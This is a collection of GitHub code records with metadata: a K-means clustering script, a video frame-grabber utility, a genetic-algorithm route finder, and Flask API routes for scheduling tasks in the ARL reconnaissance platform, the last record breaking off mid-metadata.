{"seq_id": "44448946102", "text": "import pandas as pd\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.decomposition import PCA\n\nimport random\n\nfile_path = input(\"enter file path :\")\nk = int(input(\"enter the number of clusters :\"))\nmax_iterations = int(input(\"enter maximum iterations :\"))\ncentroids_index = eval(input(\"enter the list of centroids [1,2,3,..]:\"))\ndf = pd.read_csv(file_path, sep='\\t', header=None)\ngene_id = df[df.columns[0]]\nground_truth = df[df.columns[1]]\ndf = df.iloc[:, 2:]\nrows = df\nnewCentroids = []\ncountloops = 0\nclusterallocated = []\ncentroids = []\nif len(centroids_index)==k:\n   for i in centroids_index :\n      centroids.append(rows.iloc[i-1].values.tolist())\nelse:\n    print(\"first k values have been assigned as centroids\")\n    centroids = df.head(k)\n    centroids=centroids.values.tolist()\nwhile sorted(centroids) != sorted(newCentroids) and countloops < max_iterations:\n    countloops = countloops+1\n    clusters = []\n    i = 0\n    while i < k:\n        clusters.append([])\n        i += 1\n    clusterallocated = []\n    for index, row in rows.iterrows():\n        dist = []\n        for index_c, row_c in enumerate(centroids):\n            dist.append(np.linalg.norm(row_c-row))\n        minpos = dist.index(min(dist))\n        clusterallocated.append(minpos+1)\n        clusters[minpos].append(row.values.tolist())\n    for index_c, cluster_c in enumerate(clusters):\n        means = [round(float(sum(col))/len(col), 2) for col in zip(*cluster_c)]\n        newCentroids.insert(index_c, means)\n    if sorted(centroids) == sorted(newCentroids):\n        print(\"oldcentroids==newcentroids\")\n        # return\n    else:\n        centroids = newCentroids\n        newCentroids = []\n\ntp = 0\ntn = 0\nfp = 0\nfn = 0\nfor i in range(len(rows)):\n    for j in range(len(rows)):\n        if ground_truth[i] == ground_truth[j]:\n            if clusterallocated[i] == clusterallocated[j]:\n                tp = tp+1\n            else:\n                fn = fn+1\n        elif ground_truth[i] != ground_truth[j]:\n            if clusterallocated[i] == clusterallocated[j]:\n                fp = fp+1\n            else:\n                tn = tn+1\njv = (tp)/(tp+fp+fn)\nriv = (tp+tn)/(tp+tn+fp+fn)\nprint(\"jaccard value is \", jv)\nprint(\"random index value is \", riv)\n\ndef visualizepca(title, result):\n    labels = result.Y.unique()\n    nrof_labels = len(pd.unique(result['Y']))\n    color = [\"#\"+''.join([random.choice('0123456789ABCDEF') for j in range(6)])\n             for i in range(nrof_labels)]\n\n    fig, ax = plt.subplots(figsize=[15, 10])\n    label_color = dict(zip(labels, color))\n    label_set = set()\n    for index, row in result.iterrows():\n        if row['Y'] in label_set:\n            ax.scatter(x=row['PCA1'], y=row['PCA2'],\n                       color=label_color[row['Y']], s=75)\n        else:\n            label_set.add(row['Y'])\n            ax.scatter(x=row['PCA1'], y=row['PCA2'],\n                       color=label_color[row['Y']], label=row['Y'], s=75)\n\n    plt.title(title)\n    plt.legend()\n    plt.show()\nif(rows.shape[1] > 2):\n    pca = PCA(n_components=2)\n    dataforpca = np.matrix(rows)\n    data_pca = pca.fit_transform(dataforpca)\n    result = pd.DataFrame(list(data_pca[:, 0]), columns=['PCA1'])\n    result['PCA2'] = list(data_pca[:, 1])\n    result['Y'] = clusterallocated\n    visualizepca('Clustering using K-Means', result)\n\n", "repo_name": "psravyareddy/CSE-601-Data-Mining-and-BioInformatics", "sub_path": "Project 2/Codes/K-Means.py", "file_name": "K-Means.py", "file_ext": "py", "file_size_in_byte": 3326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pandas.unique", "line_number": 79, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 102, "usage_type": "call"}]}
{"seq_id": "4572759882", "text": "#! /usr/bin/env python\n\"\"\"\nRetrieve a frame from a video.\n\nUSING:\n\n    As a command line utility:\n    \n        $ FrameGrabber.py input_video frame_no output_image [--gray]\n    \n    As a module:\n        from FrameGrabber import FrameGrabber\n        frameGrabber = FrameGrabber(input_video)\n        frame = frameGrabber.frame(frame_no[, gray=False])\n\nAuthor: Martin Humphreys / Kevin Gordon\n\"\"\"\n\n\nfrom argparse import ArgumentParser\nimport os\n# import cv2\nimport pims\nimport numpy as np\nfrom skimage.color import rgb2gray\n\nclass FrameGrabber:\n  \n    def __init__(self, in_video):\n        self.vc = self.videoReaderFromArg(in_video)\n        self.frames = len(self.vc)\n        self.height, self.width, _ = self.vc[0].shape\n        self.shape = (self.height, self.width)\n    \n    def __len__(self):\n        return self.frames\n\n    def frame(self, frame_no=0, gray=True):\n        \n        frame = self.vc[frame_no]\n        \n        if not len(frame):\n            print(\"Error reading video frame \" + str(frame_no) + \" ...\")\n        else:\n            if gray:\n                frame =rgb2gray(frame)\n            \n        return frame\n\n    def videoReaderFromArg(self, video):\n        if isinstance(video, str):\n            vc = pims.open(video)\n            self.video_path = video\n        else:\n            vc = video\n        return vc\n\ndef build_parser():\n    parser = ArgumentParser()\n    parser.add_argument('input_video', help='video to extract from')\n    parser.add_argument('frame_no', help='frame number to extract', type=int)\n    parser.add_argument('output_image', help='file to save extracted frame to')\n    parser.add_argument('--gray', help='output file as grayscale image', action = 'store_true')\n    return parser\n\n\ndef main():\n    parser = build_parser()\n    options = parser.parse_args()\n    if not os.path.isfile(options.input_video):\n        parser.error(\"Video file %s does not exist.\" % options.input_video)\n    \n    grabber = FrameGrabber(options.input_video)\n    \n    if not options.frame_no > 0 and options.frame_no < grabber.frames :\n        parser.error(\"Frame %{no} out of range (%{r})\" % {\"n\": options.frame_no, \"r\": grabber.frames} )\n    \n    frame = grabber.frame(options.frame_no, options.gray)\n    cv2.imwrite(options.output_image, frame)\n\nif __name__ == '__main__':\n    main()\n \n", "repo_name": "n17r4m/mot", "sub_path": "util/FrameGrabber.py", "file_name": "FrameGrabber.py", "file_ext": "py", "file_size_in_byte": 2303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "skimage.color.rgb2gray", "line_number": 46, "usage_type": "call"}, {"api_name": "pims.open", "line_number": 52, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}]}
{"seq_id": "17101459087", "text": "#\n# I *think* I found this algorithm here: https://gist.github.com/jdmoore7/de13d106b9bb92fe111ba14224341045\n# I've modified it a bit, but it's mostly the same.\n#\n\n\nimport sys\nfrom datetime import datetime\nimport random\nimport operator\nfrom multiprocessing import Pool\nfrom pathlib import Path\nimport threading\n\nfrom numpy import vectorize\nimport functools\n\nfrom assol_map import cities, draw_gene_and_map, maze, lookup_dist, dist_dict\n\n\n@functools.lru_cache(maxsize=500000)\ndef get_fitness(gene):\n    total_distance = 0\n    for idx in range(1, len(gene)):\n        city_b = gene[idx]\n        city_a = gene[idx - 1]\n        try:\n            if city_b not in dist_dict[city_a]:\n                dist = lookup_dist(city_a, city_b)\n            else:\n                dist = dist_dict[city_a][city_b]\n        except KeyboardInterrupt as e:\n            return sys.exit()\n        except BrokenPipeError as e:\n            return sys.exit()\n        total_distance += dist\n    fitness = 1 / total_distance\n    return fitness\n\n\nclass GeneticAlgo:\n    def __init__(self, start, steps=2, crossover_prob=0.15, mutation_prob=0.15, population_size=5,\n                 iterations=100, out_path=Path(\"gene-out\")):\n        self.crossover_prob = crossover_prob\n        self.mutation_prob = mutation_prob\n        self.population_size = population_size\n        self.steps = steps\n        self.iterations = iterations\n        self.start = start\n        self.cities = list([k for k in cities])\n        self.cities.remove(start)\n        self.genes = []\n        self.epsilon = 1 - 1 / self.iterations\n        self.generate_genes = vectorize(self.generate_genes)\n        self.evaluate_fitness = vectorize(self.evaluate_fitness)\n        self.evolve = vectorize(self.evolve)\n        self.prune_genes = vectorize(self.prune_genes)\n        self.converge = vectorize(self.converge)\n        self.out_path = out_path\n\n        self.generate_genes()\n\n    def generate_genes(self):\n        self.genes.append(('(393, 374)', '(433, 360)', '(427, 242)', '(491, 406)', '(624, 229)', '(1376, 310)',\n                           '(1028, 236)', '(1043, 394)', '(1204, 561)', '(954, 643)', '(798, 576)', '(669, 559)',\n                           '(1329, 283)', '(1288, 259)', '(1360, 417)', '(962, 350)', '(955, 406)', '(1341, 202)',\n                           '(980, 233)', '(829, 201)', '(879, 235)', '(937, 231)', '(801, 455)', '(908, 308)',\n                           '(1211, 436)', '(686, 542)', '(844, 688)', '(846, 543)', '(987, 678)', '(1257, 495)',\n                           '(1497, 371)', '(1287, 554)', '(1443, 444)', '(1168, 289)', '(908, 232)', '(994, 392)',\n                           '(1057, 656)', '(1357, 493)', '(495, 430)', '(736, 360)', '(696, 345)', '(493, 212)',\n                           '(872, 685)', '(783, 474)', '(957, 681)', '(1082, 410)', '(931, 315)', '(1388, 372)',\n                           '(1122, 609)', '(1119, 420)', '(1288, 429)', '(884, 601)', '(800, 170)', '(1247, 353)',\n                           '(1093, 271)', '(1437, 297)', '(1262, 220)', '(1372, 564)', '(776, 697)', '(927, 683)',\n                           '(915, 416)', '(345, 161)', '(778, 377)', '(637, 205)', '(541, 150)', '(808, 481)',\n                           '(1089, 638)', '(899, 685)', '(433, 270)', '(856, 646)', '(692, 566)', '(411, 143)',\n                           '(557, 131)', '(425, 188)', '(354, 209)', '(370, 126)', '(564, 156)', '(611, 202)',\n                           '(1125, 519)', '(1129, 278)', '(844, 415)', '(1405, 211)', '(799, 694)', '(1019, 670)',\n                           '(817, 691)', '(473, 425)', '(650, 337)', '(880, 429)', '(815, 396)', '(611, 338)',\n                           '(409, 261)', '(923, 289)', '(1067, 259)', '(851, 230)', '(734, 122)', '(772, 143)',\n                           '(1040, 593)', '(985, 522)', '(1161, 427)'))\n        for c in self.cities:\n            if c not in self.genes[0]:\n                print(c)\n                self.genes[0] = tuple(list(self.genes[0]) + [c])\n        self.genes = []\n        for i in range(self.population_size - len(self.genes)):\n            gene = [self.start]\n            options = [k for k in self.cities]\n            while len(gene) < len(self.cities) + 1:\n                city = random.choice(options)\n                loc = options.index(city)\n                gene.append(city)\n                del options[loc]\n            # don't end back at the start.\n            # gene.append(self.start)\n            self.genes.append(tuple(gene))\n        # print(list((len(g), len(cities)) for g in self.genes))\n        assert all([len(cities) == len(g) for g in self.genes])\n        return self.genes\n\n    def evaluate_fitness(self):\n        fitness_scores = []\n        DO_MULTIPROCESS = False\n        try:\n            if DO_MULTIPROCESS:\n                with Pool(8) as p:\n                    # for fitness_res in p.starmap(get_fitness, zip(self.genes, [dist_dict for g in self.genes])):\n                    for fitness_res in p.map(get_fitness, self.genes):\n                        fitness_scores.append(fitness_res)\n            else:\n                for gene in self.genes:\n                    fitness_scores.append(get_fitness(gene))\n            return fitness_scores\n        except KeyboardInterrupt as e:\n            return sys.exit()\n\n    def evolve(self):\n        index_map = {i: '' for i in range(1, len(self.cities) - 1)}\n        indices = [i for i in range(1, len(self.cities) - 1)]\n        to_visit = [c for c in self.cities]\n        cross = (1 - self.epsilon) * self.crossover_prob\n        mutate = self.epsilon * self.mutation_prob\n        crossed_count = int(cross * len(self.cities) - 1)\n        mutated_count = int((mutate * len(self.cities) - 1) / 2)\n        for idx in range(len(self.genes) - 1):\n            gene = self.genes[idx]\n            for i in range(crossed_count):\n                try:\n                    gene_index = random.choice(indices)\n                    sample = gene[gene_index]\n                    if sample in to_visit:\n                        index_map[gene_index] = sample\n                        loc = indices.index(gene_index)\n                        del indices[loc]\n                        loc = to_visit.index(sample)\n                        del to_visit[loc]\n                    else:\n                        continue\n                except:\n                    pass\n        last_gene = self.genes[-1]\n        remaining_cities = [c for c in last_gene if c in to_visit]\n        for k, v in index_map.items():\n            if v != '':\n                continue\n            else:\n                city = remaining_cities.pop(0)\n                index_map[k] = city\n        new_gene = [index_map[i] for i in range(1, len(self.cities) - 1)]\n        new_gene.insert(0, self.start)\n        # don't want to end at the start\n        # new_gene.append(self.start)\n        for i in range(mutated_count):\n            choices = [c for c in new_gene if c != self.start]\n            city_a = random.choice(choices)\n            city_b = random.choice(choices)\n            index_a = new_gene.index(city_a)\n            index_b = new_gene.index(city_b)\n            new_gene[index_a] = city_b\n            new_gene[index_b] = city_a\n        self.genes.append(tuple(new_gene))\n\n    def prune_genes(self):\n        for i in range(self.steps):\n            self.evolve()\n        fitness_scores = self.evaluate_fitness()\n        for i in range(self.steps):\n            worst_gene_index = fitness_scores.index(min(fitness_scores))\n            del self.genes[worst_gene_index]\n            del fitness_scores[worst_gene_index]\n        return max(fitness_scores), self.genes[fitness_scores.index(max(fitness_scores))]\n\n    def converge(self):\n        current_best_gene = Exception('no best gene ever found.')\n\n        for i in range(self.iterations):\n            print(f\"[{i:4d}] -- {datetime.now().isoformat()} -- starting iteration.\")\n            values = self.prune_genes()\n            current_score = values[0]\n            current_best_gene = values[1]\n            self.epsilon -= 1 / self.iterations\n            # if i % 100 == 0 or True:\n            # print(f\"{datetime.now().isoformat()} -- {int(1 / current_score)} px\")\n            print(f\"[{i:4d}] -- {datetime.now().isoformat()} -- {int(1 / current_score)} px\")\n            # print(current_best_gene)\n            with open('best-assol-route-thus-far.txt', 'a') as f:\n                f.write(f\"\\n[{i:4d}] -- {datetime.now().isoformat()} -- {current_best_gene}\\n\")\n            if self.out_path:\n                t = threading.Thread(target=lambda: draw_gene_and_map(current_best_gene, maze, filename=self.out_path / f\"path-iter-{i}.png\"), args=())\n                # draw_gene_and_map(current_best_gene, maze, filename=self.out_path / f\"path-iter-{i}.png\")\n                t.daemon = True\n                t.start()\n\n        return current_best_gene\n", "repo_name": "XertroV/ssol-route-finder-python", "sub_path": "genetic_algo.py", "file_name": "genetic_algo.py", "file_ext": "py", "file_size_in_byte": 8852, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "assol_map.dist_dict", "line_number": 28, "usage_type": "name"}, {"api_name": "assol_map.lookup_dist", "line_number": 29, "usage_type": "call"}, {"api_name": "assol_map.dist_dict", "line_number": 31, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 35, "usage_type": "call"}, {"api_name": "functools.lru_cache", "line_number": 21, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 43, "usage_type": "call"}, {"api_name": "assol_map.cities", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.vectorize", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 58, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 90, "usage_type": "call"}, {"api_name": "assol_map.cities", "line_number": 98, "usage_type": "argument"}, {"api_name": "multiprocessing.Pool", "line_number": 106, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 115, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 129, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 155, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 156, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 177, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 177, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 184, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 184, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 187, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 187, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 189, "usage_type": "call"}, {"api_name": "assol_map.draw_gene_and_map", "line_number": 189, "usage_type": "call"}, {"api_name": "assol_map.maze", "line_number": 189, "usage_type": "argument"}]}
{"seq_id": "23114518380", "text": "from bson import ObjectId\nimport time\nfrom datetime import datetime\nfrom flask_restx import fields, Namespace\nfrom app.utils import get_logger, auth\nfrom app import utils\nfrom app.modules import ErrorMsg, TaskTag, TaskScheduleStatus\nfrom . import base_query_fields, ARLResource, get_arl_parser\nfrom app.helpers import task_schedule, task\n\nns = Namespace('task_schedule', description=\"计划任务\")\n\nlogger = get_logger()\n\nbase_search_fields = {\n    'name': fields.String(required=False, description=\"名称\"),\n    'target': fields.String(description=\"目标\"),\n    'policy_name': fields.String(description=\"策略名称\"),\n    'schedule_type': fields.String(description=\"计划类型\"),\n    'schedule_status': fields.String(description=\"状态\")\n}\n\nbase_search_fields.update(base_query_fields)\n\n\nadd_task_schedule_fields = ns.model('addTaskScheduleSite',  {\n    'name': fields.String(required=True, description=\"名称\"),\n    'target': fields.String(required=True, description=\"目标\"),\n    'schedule_type': fields.String(required=True, description=\"计划类型（future_scan|recurrent_scan）\"),\n    'policy_id': fields.String(required=True, description=\"策略 ID\"),\n    'cron': fields.String(required=False, description=\"Cron\"),\n    'start_date': fields.String(required=False, description=\"开始时间\"),\n    'task_tag': fields.String(required=True, description=\"任务类别 （task|risk_cruising）\")\n})\n\n\n@ns.route('/')\nclass ARLTaskScheduleResult(ARLResource):\n    parser = get_arl_parser(base_search_fields, location='args')\n\n    @auth\n    @ns.expect(parser)\n    def get(self):\n        \"\"\"\n        计划任务结果详情查询\n        \"\"\"\n        args = self.parser.parse_args()\n        data = self.build_data(args=args, collection='task_schedule')\n\n        return data\n\n    @auth\n    @ns.expect(add_task_schedule_fields)\n    def post(self):\n        \"\"\"\n        计划任务添加\n        \"\"\"\n        args = self.parse_args(add_task_schedule_fields)\n        schedule_type = args.pop('schedule_type', \"\")\n        schedule_type = schedule_type.lower()\n        target = args.pop('target')\n        name = args.pop('name')\n        cron = args.pop('cron')\n        start_date = args.pop('start_date')\n        policy_id = args.pop('policy_id')\n        task_tag = args.pop(\"task_tag\")\n\n        avail_schedule_type = [\"future_scan\", \"recurrent_scan\"]\n        if schedule_type not in avail_schedule_type:\n            return utils.build_ret(ErrorMsg.TaskScheduleTypeInvalid, {\"schedule_type\": schedule_type})\n\n        avail_task_tag = [TaskTag.TASK, TaskTag.RISK_CRUISING]\n        if task_tag not in avail_task_tag:\n            return utils.build_ret(ErrorMsg.TaskTagInvalid, {\"task_tag\": task_tag})\n\n        try:\n            # 资产发现任务\n            if task_tag == TaskTag.TASK:\n                ip_list, domain_list = task.get_ip_domain_list(target)\n                if not ip_list and not domain_list:\n                    return utils.build_ret(ErrorMsg.TaskTargetIsEmpty, {\"target\": target})\n\n                target = \"{} {}\".format(\" \".join(ip_list), \" \".join(domain_list))\n\n            # 风险巡航任务, 目标可以是URL\n            if task_tag == TaskTag.RISK_CRUISING:\n                targets = task.target2list(target)\n                if not targets:\n                    return utils.build_ret(ErrorMsg.TaskTargetIsEmpty, {\"target\": target})\n                target = \" \".join(targets)\n\n        except Exception as e:\n            return utils.build_ret(ErrorMsg.Error, {\"error\": str(e)})\n\n        data = {\n            \"name\": name,\n            \"target\": target,\n            \"task_tag\": task_tag,\n            \"schedule_type\": schedule_type,\n            \"policy_id\": policy_id,\n            \"cron\": cron,\n            \"start_date\": start_date,\n            \"status\": TaskScheduleStatus.SCHEDULED,\n            \"run_number\": 0,\n            \"last_run_time\": 0,\n            \"last_run_date\": \"-\"\n        }\n\n        # 定时扫描处理\n        if schedule_type == \"future_scan\":\n            try:\n                start_time = utils.time.date2time(start_date)\n                if start_time < time.time():\n                    return utils.build_ret(ErrorMsg.FutureDateInvalid, {\"start_date\": start_date})\n\n                data[\"start_time\"] = start_time\n                data[\"start_date\"] = start_date\n                data[\"next_run_date\"] = start_date\n                data[\"cron\"] = \"\"\n            except Exception as e:\n                return utils.build_ret(ErrorMsg.DateInvalid, {\"start_date\": start_date})\n\n        # 周期任务处理\n        if schedule_type == \"recurrent_scan\":\n            check_flag, msg = utils.check_cron_interval(cron)\n            if not check_flag:\n                return msg\n\n            previous, next_sec, _ = utils.check_cron(cron)\n\n            data[\"start_date\"] = \"\"\n            data[\"start_time\"] = 0\n            data[\"cron\"] = cron\n            data[\"next_run_date\"] = utils.time2date(time.time() + next_sec)\n\n        query = {'_id': ObjectId(policy_id)}\n        item = utils.conn_db('policy').find_one(query)\n\n        if not item:\n            return utils.build_ret(ErrorMsg.PolicyIDNotFound, {})\n\n        data[\"policy_name\"] = item[\"name\"]\n\n        utils.conn_db('task_schedule').insert_one(data)\n\n        data[\"_id\"] = str(data[\"_id\"])\n\n        return utils.build_ret(ErrorMsg.Success, data)\n\n\ndelete_task_schedule_fields = ns.model('deleteTaskSchedule',  {\n    \"_id\": fields.List(fields.String(description=\"计划任务ID列表\"))\n})\n\n\n@ns.route('/delete/')\nclass DeleteARLTaskScheduler(ARLResource):\n\n    @auth\n    @ns.expect(delete_task_schedule_fields)\n    def post(self):\n        \"\"\"\n        删除计划任务\n        \"\"\"\n        args = self.parse_args(delete_task_schedule_fields)\n        job_id_list = args.get(\"_id\", [])\n\n        ret_data = {\"_id\": job_id_list}\n\n        for job_id in job_id_list:\n            item = task_schedule.find_task_schedule(job_id)\n            if not item:\n                return utils.build_ret(ErrorMsg.TaskScheduleNotFound, ret_data)\n\n        for job_id in job_id_list:\n            task_schedule.remove_task_schedule(job_id)\n\n        return utils.build_ret(ErrorMsg.Success, ret_data)\n\n\nstop_task_schedule_fields = ns.model('stopTaskSchedule',  {\n    \"_id\": fields.List(fields.String(description=\"计划任务ID列表\"))\n})\n\n\n@ns.route('/stop/')\nclass StopARLTaskScheduler(ARLResource):\n\n    @auth\n    @ns.expect(stop_task_schedule_fields)\n    def post(self):\n        \"\"\"\n        停止计划任务\n        \"\"\"\n        args = self.parse_args(stop_task_schedule_fields)\n        job_id_list = args.get(\"_id\", [])\n\n        ret_data = {\"_id\": job_id_list}\n\n        for job_id in job_id_list:\n            item = task_schedule.change_task_schedule_status(job_id, status=TaskScheduleStatus.STOP)\n            if not item:\n                return utils.build_ret(ErrorMsg.TaskScheduleNotFound, ret_data)\n\n            if isinstance(item, str):\n                return utils.build_ret(ErrorMsg.Error, {\"error\": item})\n\n        return utils.build_ret(ErrorMsg.Success, ret_data)\n\n\nrecover_task_schedule_fields = ns.model('recoverTaskSchedule',  {\n    \"_id\": fields.List(fields.String(description=\"计划任务ID列表\"))\n})\n\n\n@ns.route('/recover/')\nclass RecoverARLTaskScheduler(ARLResource):\n\n    @auth\n    @ns.expect(recover_task_schedule_fields)\n    def post(self):\n        \"\"\"\n        恢复计划任务\n        \"\"\"\n        args = self.parse_args(recover_task_schedule_fields)\n        job_id_list = args.get(\"_id\", [])\n\n        ret_data = {\"_id\": job_id_list}\n\n        for job_id in job_id_list:\n            item = task_schedule.change_task_schedule_status(job_id, status=TaskScheduleStatus.SCHEDULED)\n            if not item:\n                return utils.build_ret(ErrorMsg.TaskScheduleNotFound, ret_data)\n\n            if isinstance(item, str):\n                return utils.build_ret(ErrorMsg.Error, {\"error\": item})\n\n        return utils.build_ret(ErrorMsg.Success, ret_data)\n\n", "repo_name": "TophantTechnology/ARL", "sub_path": "app/routes/task_schedule.py", "file_name": "task_schedule.py", "file_ext": "py", "file_size_in_byte": 7957, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4370, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask_restx.Namespace", "line_number": 11, "usage_type": "call"}, {"api_name": "app.utils.get_logger", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_restx.fields.String", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 19, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 19, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 20, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 27, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 27, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 28, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 29, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 30, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 30, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 31, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 31, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 32, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 33, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 33, "usage_type": "name"}, {"api_name": "app.utils.auth", "line_number": 41, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 70, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 70, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskScheduleTypeInvalid", "line_number": 70, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 70, "usage_type": "name"}, {"api_name": "app.modules.TaskTag.TASK", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.modules.TaskTag", "line_number": 72, "usage_type": "name"}, {"api_name": "app.modules.TaskTag.RISK_CRUISING", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.utils.build_ret", "line_number": 74, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 74, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskTagInvalid", "line_number": 74, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 74, "usage_type": "name"}, {"api_name": "app.modules.TaskTag.TASK", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.modules.TaskTag", "line_number": 78, "usage_type": "name"}, {"api_name": "app.helpers.task.get_ip_domain_list", "line_number": 79, "usage_type": "call"}, {"api_name": "app.helpers.task", "line_number": 79, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 81, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 81, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskTargetIsEmpty", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 81, "usage_type": "name"}, {"api_name": "app.modules.TaskTag.RISK_CRUISING", "line_number": 86, "usage_type": "attribute"}, {"api_name": "app.modules.TaskTag", "line_number": 86, "usage_type": "name"}, {"api_name": "app.helpers.task.target2list", "line_number": 87, "usage_type": "call"}, {"api_name": "app.helpers.task", "line_number": 87, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 89, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 89, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskTargetIsEmpty", "line_number": 89, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 89, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 93, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 93, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Error", "line_number": 93, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 93, "usage_type": "name"}, {"api_name": "app.modules.TaskScheduleStatus.SCHEDULED", "line_number": 103, "usage_type": "attribute"}, {"api_name": "app.modules.TaskScheduleStatus", "line_number": 103, "usage_type": "name"}, {"api_name": "app.utils.time.date2time", "line_number": 112, "usage_type": "call"}, {"api_name": "app.utils.time", "line_number": 112, "usage_type": "attribute"}, {"api_name": "app.utils", "line_number": 112, "usage_type": "name"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}, {"api_name": "app.utils.build_ret", "line_number": 114, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 114, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.FutureDateInvalid", "line_number": 114, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 114, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 121, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 121, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.DateInvalid", "line_number": 121, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 121, "usage_type": "name"}, {"api_name": "app.utils.check_cron_interval", "line_number": 125, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 125, "usage_type": 